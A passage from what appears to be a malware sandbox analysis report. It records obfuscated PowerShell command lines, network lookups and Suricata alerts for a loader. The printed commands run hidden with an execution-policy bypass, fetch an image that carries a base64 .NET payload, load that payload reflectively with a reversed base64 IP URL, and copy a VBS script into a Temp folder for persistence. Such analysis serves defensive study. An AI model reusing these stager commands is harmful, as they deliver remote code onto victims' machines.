qNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPsAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNPyAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPsAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwByAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPZwBhAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPbQAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPLAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPLAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPQwAuPACDÇXGiuçaOcqNP6AuPACDÇXGiuçaOcqNPFwAuPACDÇXGiuçaOcqNPVwBpAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBvAuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPcwBcAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPXAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCwAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPGgAuPACDÇXGiuçaOcqNPawBjAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPKQAuPACDÇXGiuçaOcqNP=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('AuPACDÇXGiuçaOcqNP','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
944-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4072801.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0Lm5pYi80MTEyLzc0LjgwMS4zLjI5MS8vOnB0dGg=' , '' , '2' , 'regasm' , '4' , 'C:\Windows\Temp\', 'hkcmd'))"
2416
-
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\regasm.vbs -Force }
2224
-
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| wallpapercave.com | 104.22.52.71 |
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 192.168.56.102:49166 -> 104.22.53.71:443 | 906200054 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
| TCP 192.168.56.102:49167 -> 104.22.53.71:443 | 906200054 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
Suricata TLS
No Suricata TLS
| file | C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JAuPACDÇXGiuçaOcqNPBpAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPYQBnAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPVQByAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP9AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwBoAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBwAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPOgAuPACDÇXGiuçaOcqNPvAuPACDÇXGiuçaOcqNPC8AuPACDÇXGiuçaOcqNPdwBhAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBwAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPYwBhAuPACDÇXGiuçaOcqNPHYAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPuAuPACDÇXGiuçaOcqNPGMAuPACDÇXGiuçaOcqNPbwBtAuPACDÇXGiuçaOcqNPC8AuPACDÇXGiuçaOcqNPdQB3AuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPLwB1AuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPcAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP0AuPACDÇXGiuçaOcqNPDAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPNwAuPACDÇXGiuçaOcqNPyAuPACDÇXGiuçaOcqNPDgAuPACDÇXGiuçaOcqNPMAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPxAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPcAuPACDÇXGiuçaOcqNPBuAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPdwBlAuPACDÇXGiuçaOcqNPGIAuPACDÇXGiuçaOcqNPQwBsAuPACDÇXGiuçaOcqNPGkAuPACDÇXGiuçaOcqNPZQBuAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP9AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPTgBlAuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPLQBPAuPACDÇXGiuçaOcqNPGIAuPACDÇXGiuçaOcqNPagBlAuPACDÇXGiuçaOcqNPGMAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPeQBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPTgBlAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPLgBXAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPYgBDAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPaQBlAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPaQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPZwBlAuPACDÇXGiuçaOcqNPEIAuPACDÇXGiuçaOcqNPeQB0AuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPcwAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPZQBiAuPACDÇXGiuçaOcqNPEMAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBpAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbgB0AuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPRAuPACDÇXGiuçaOcqNPBvAuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPbgBsAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPYQBkAuPACDÇXGiuçaOcqNPEQAuPACDÇXGiuçaOcqNPYQB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPKAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPGkAuPACDÇXGiuçaOcqNPbQBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPZQBVAuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPpAuPACDÇXGiuçaOcqNPDsAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBpAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPYQBnAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPVAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPBbAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPeQBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPVAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPuAuPACDÇXGiuçaOcqNPEUAuPACDÇXGiuçaOcqNPbgBjAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBpAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZwBdAuPACDÇXGiuçaOcqNPDoAuPACDÇXGiuçaOcqNPOgBVAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPRgAuPACDÇXGiuçaOcqNP4AuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPRwBlAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPUwB0AuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPaQBuAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPKAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPGkAuPACDÇXGiuçaOcqNPbQBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPZQBCAuPACDÇXGiuçaOcqNPHkAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPKQAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEYAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP9AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNP8AuPACDÇXGiuçaOcqNPDwAuPACDÇXGiuçaOcqNPQgBBAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPRQAuPACDÇXGiuçaOcqNP2AuPACDÇXGiuçaOcqNPDQAuPACDÇXGiuçaOcqNPXwBTAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPQQBSAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPPgAuPACDÇXGiuçaOcqNP+AuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPOwAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPEYAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP9AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNP8AuPACDÇXGiuçaOcqNPDwAuPACDÇXGiuçaOcqNPQgBBAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPRQAuPACDÇXGiuçaOcqNP2AuPACDÇXGiuçaOcqNPDQAuPACDÇXGiuçaOcqNPXwBFAuPACDÇXGiuçaOcqNPE4AuPACDÇXGiuçaOcqNPRAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP+AuPACDÇXGiuçaOcqNPD4AuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEkAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPeAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPGkAuPACDÇXGiuçaOcqNPbQBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPZQBUAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPeAuPACDÇXGiuçaOcqNPB0AuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPSQBuAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPZQB4AuPACDÇXGiuçaOcqNPE8AuPACDÇXGiuçaOcqNPZgAuPACDÇXGiuçaOcqNPoAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEYAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPKQAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPZQBuAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPSQBuAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPZQB4AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPPQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPaQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPZwBlAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPZQB4AuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPLgBJAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPTwBmAuPACDÇXGiuçaOcqNPCgAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBGAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPYQBnAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPOwAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBhAuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBJAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPtAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPDAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBJAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPtAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEkAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPeAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEkAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPeAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCsAuPACDÇXGiuçaOcqNPPQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEYAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPLgBMAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbgBnAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPaAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPYgBhAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNP2AuPACDÇXGiuçaOcqNPDQAuPACDÇXGiuçaOcqNPTAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZwB0AuPACDÇXGiuçaOcqNPGgAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP9AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBJAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPtAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPYQByAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPSQBuAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPZQB4AuPACDÇXGiuçaOcqNPDsAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBiAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcwBlAuPACDÇXGiuçaOcqNPDYAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPBDAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPbQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPPQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPaQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPZwBlAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPZQB4AuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPLgBTAuPACDÇXGiuçaOcqNPHUAuPACDÇXGiuçaOcqNPYgBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPcgBpAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZwAuPACDÇXGiuçaOcqNPoAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEkAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPeAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPsAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBiAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcwBlAuPACDÇXGiuçaOcqNPDYAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPBMAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbgBnAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPaAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPpAuPACDÇXGiuçaOcqNPDsAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBjAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPbQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPEIAuPACDÇXGiuçaOcqNPeQB0AuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPcwAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPBbAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPeQBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPQwBvAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPdgBlAuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBdAuPACDÇXGiuçaOcqNPDoAuPACDÇXGiuçaOcqNPOgBGAuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPbwBtAuPACDÇXGiuçaOcqNPEIAuPACDÇXGiuçaOcqNPYQBzAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPNgAuPACDÇXGiuçaOcqNP0AuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPByAuPACDÇXGiuçaOcqNPGkAuPACDÇXGiuçaOcqNPbgBnAuPACDÇXGiuçaOcqNPCgAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBiAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcwBlAuPACDÇXGiuçaOcqNPDYAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPBDAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPbQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPOwAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPbwBhAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPZQBkAuPACDÇXGiuçaOcqNPEEAuPACDÇXGiuçaOcqNPcwBzAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbQBiAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPeQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPBbAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPeQBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPUgBlAuPACDÇXGiuçaOcqNPGYAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPGMAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBpAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPbgAuPACDÇXGiuçaOcqNPuAuPACDÇXGiuçaOcqNPEEAuPACDÇXGiuçaOcqNPcwBzAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbQBiAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPeQBdAuPACDÇXGiuçaOcqNPDoAuPACDÇXGiuçaOcqNPOgBMAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPYQBkAuPACDÇXGiuçaOcqNPCgAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBjAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPbQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPEIAuPACDÇXGiuçaOcqNPeQB0AuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPcwAuPACDÇXGiuçaOcqNPpAuPACDÇXGiuçaOcqNPDsAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPB0AuPACDÇXGiuçaOcqNPHkAuPACDÇXGiuçaOcqNPcAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPPQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBvAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPQQBzAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPGIAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPB5AuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPRwBlAuPACDÇXGiuçaOcqNPH